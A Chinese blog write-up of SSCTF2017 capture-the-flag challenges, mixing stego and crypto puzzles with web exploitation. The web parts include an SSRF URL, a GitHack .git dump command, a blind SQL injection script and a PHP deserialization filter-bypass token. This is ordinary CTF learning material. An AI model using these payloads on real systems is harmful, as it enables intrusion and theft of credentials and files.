博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
SSCTF2017部分WP
阅读量:7222 次
发布时间:2019-06-29

本文共 3774 字,大约阅读时间需要 12 分钟。

上个周末考完大物就回到寝室,尝试着做这个比赛,虽然还很菜,虽然马上又要考试了。。虽然最后有道题已经做出了一半!

但是有遗憾有惊喜吧!还是简单记录一些东西。

自己做的部分

签到题

这道题直接给出了一串字符串,直接base64解码

这里看到了{}就有一种熟悉的感觉!
一开始也没有头绪,不过常见的加密方式就那几种,并且是个签到题,感觉没这么麻烦
首先想到的是凯撒移位,因为flag是ssctf{},讲道理应该有ssctf的
最后栅栏解密

base64解密

凯撒移位
栅栏解密

捡吗?

这道题虽然只有100分,但是却引起了尴尬。。。。

官方提示ssrf,但是内网地址。。。。最后官方受不了直接给了ssrf过程。。。!
主页是个图片,右键源码

127.0.0.1,已经很明显了,再根据官方提示,poyload

http://120.132.21.19/news.php?url=10.23.173.190/news.php?url=ftp://172.17.0.2:21/flag.txt

但是这样提交之后,没反应,试了试大写绕过Ftp,读到flag

你知道我在等你么

直接下载,密码:pdxn,是一个mp3格式文件,但是打不开,用HxD打开,一看是压缩包

直接解压,的到三个文件

mp3-zip

扫描提示的二维码,神龙摆尾(ps:不是让你看内容!!!)

有个zip文件是加密的,应该mp3文件含着密码,由于前几天做过一个看波形的题。。。但是没发现什么
又想到提示内容,就用HxD打开mp3文件,直接看结尾,可以的字符串,直接解密,开了。

mp3-2

这个地方,在看大佬wp的时候学到了一个新姿势,linux命令strings,可以直接导出文件字符串,具体使用可以百度

解压之后得到一张图片,老套路,16进制打开,试着搜索FF D9,可以从下图容易看出

后面是个png,扣数据,保存,注意文件头是坏的,需要修复

coffee

打开之后还是一个二维码,扫描是下载一个文本,打开之后。。。。。又是PK。。。。。。。。我。。。。无言以对

这是个伪加密,改图片处0->1,解压得到base64,解码,还需要url解码得到flag
这个300分真的不好拿。。。。。

伪加密

flag在哪里

打开链接,是个网址,而且下载的是个文件,。。。很令人怀疑啊,为什么还要打开一个网址??

这是我没提交成flag的那道题,一开始并没有思路,第二天,学长提示git源码泄露,才有了思路
打开数据包,发现就是一些git,./nijiakadaye,的字样,又搜了搜相关资料
果断linux,安装GitHack,并下载源码

git clone https://github.com/BugScanTeam/GitHack    cd GitHack    python GitHack.py http://60.191.205.87/.nijiakadaye/

在网址目录打开终端,输入git log -u查看提交历史

GitHack

直接提交{}内容,不对。。。。。继续往下看,发现了pass.php,直接逆向解密

pass-1

pass

看大佬wp复现的部分

我们的秘密是绿色的

这道题长的姿势也不少的,首先就是题目也要注意,可能会是提示,比如这道,我们的秘密-OurSecret是这个工具

这个工具解密是需要密码的,题目提示秘密是绿色,观察图片,绿色部分的数字:0405111218192526

绿色

OurSecret

解压之后是个压缩包,提示密码是生日,8位数字爆破

提示

爆破

接下来又是新姿势,明文攻击(条件具体可以百度),下面第一张图片也可以算是明文攻击特征吧,将readme相同方式压缩,作为明文文件

特征

明文攻击
伪加密

解压之后又是伪加密。。。。似乎,充满了二维码,爆破密码,伪加密。。。。。得到下面的东西,和签到一样的手法

qddpqwnpcplen%prqwn_{_zz*d@gq}

CloverSec Logos

首先是盲注,得到admin密码,贴上chamd5团队脚本

import requestss = requests.session()ll = "1234567890qwertyuiopasdfghjklzxcvbnm"username = ""for j in range(1,32):    print j    for i in ll:        url = 'http://60.191.205.80/picture.php?id=1"%26%26substr((select(passwoorrd)from(user)where(id=1)),'+str(j)+',1)="'+i        # print url        # username = ""        r = s.get(url)        # print r.text        if "Picture  not found" not in r.text:            username = username + i            print username            break

然后就是反序列化了,这个题目wp是校内决赛之后加上的。。因为出了一道一样的反序列化问题

先看代码部分index.txt和include.txt,这后边是校内决赛代码,ssctf似乎已经关闭了

";if(!$_GET['id']){ header('Location: index.php?id=1'); exit();}$id=$_GET['id'];if($id==0) { if(isset($_COOKIE['token'])) { $key=$_GET['key']; $token =$_COOKIE['token']; if(isset($key)&&(file_get_contents($key,'r')==="I want flag!!!")) { echo "hello Hacker!
"; include("include.php"); echo cumtctf_unserialize($token); } else { echo "You are not Hacker ! "; } } }?>
"; class Read{//flag.php public $file; public function __toString(){ if(isset($this->file)){ if("flag.php"===$this->file||stripos($this->file,"://")>-1) { exit(); } else { echo file_get_contents($this->file); } } return "you are big Hacker"; }}function cumtctf_unserialize($value) { preg_match('/[oc]:\d+:/i', $value,$matches); if(count($matches)){ return false; } return unserialize($value); }?>

首先index.txt中get-id,传参id=0

然后首先看file_get_contents函数,这里要求传入的key=I want flag!!!

这里我们能够利用php的封装协议php://input,他能够得到POST原始数据,用火狐很方便

最后就是对token的操作,由include.txt代码部分可以知道,可以反序列化读取flag.php

但是代码中if("flag.php"===$this->file||stripos($this->file,"://")>-1)过滤了flag.php
这里可以用./flag.php绕过
preg_match('/[oc]:\d+:/i', $value,$matches);利用符号+就不会正则匹配到数字
token=O:+4:"Read":1:{s:4:"file";s:10:"./flag.php";}

最终token=O%3a%2b4%3a%22Read%22%3a1%3a%7bs%3a4%3a%22file%22%3bs%3a10%3a%22.%2fflag.php%22%3b%7d

转载于:https://www.cnblogs.com/bay1/p/10982374.html

你可能感兴趣的文章
都是并发惹的祸
查看>>
eclipse实现JavaWeb项目 增量打包
查看>>
面试题系列一之 程序生命周期
查看>>
设计模式——观察者模式:气象监测应用
查看>>
NSUserDefaults简介及如何使用 NSUserDefaults 存储自定义对象
查看>>
IntelliJ IDEA搭建SpringBoot
查看>>
深入浅出iOS事件机制
查看>>
hadoop理解
查看>>
Oracle——18用户、角色和权限信息的视图总结
查看>>
WordPress 中的 Debug 模式(调试模式)
查看>>
node下使用express框架,ejs模板引擎
查看>>
搜索:文本的匹配算法
查看>>
Fedora 17 LibreOffice 办公套件的安装与汉化
查看>>
scrollview不充满屏幕的原因
查看>>
PHP单例模式
查看>>
解密敏捷自动化测试
查看>>
DelphiMVC拦截器介绍
查看>>
Spring Cloud构建微服务架构:分布式配置中心【Dalston版】
查看>>
iOS 11正式版终于来了!强力助攻小程序
查看>>
开放平台API接口调用频率控制系统设计浅谈
查看>>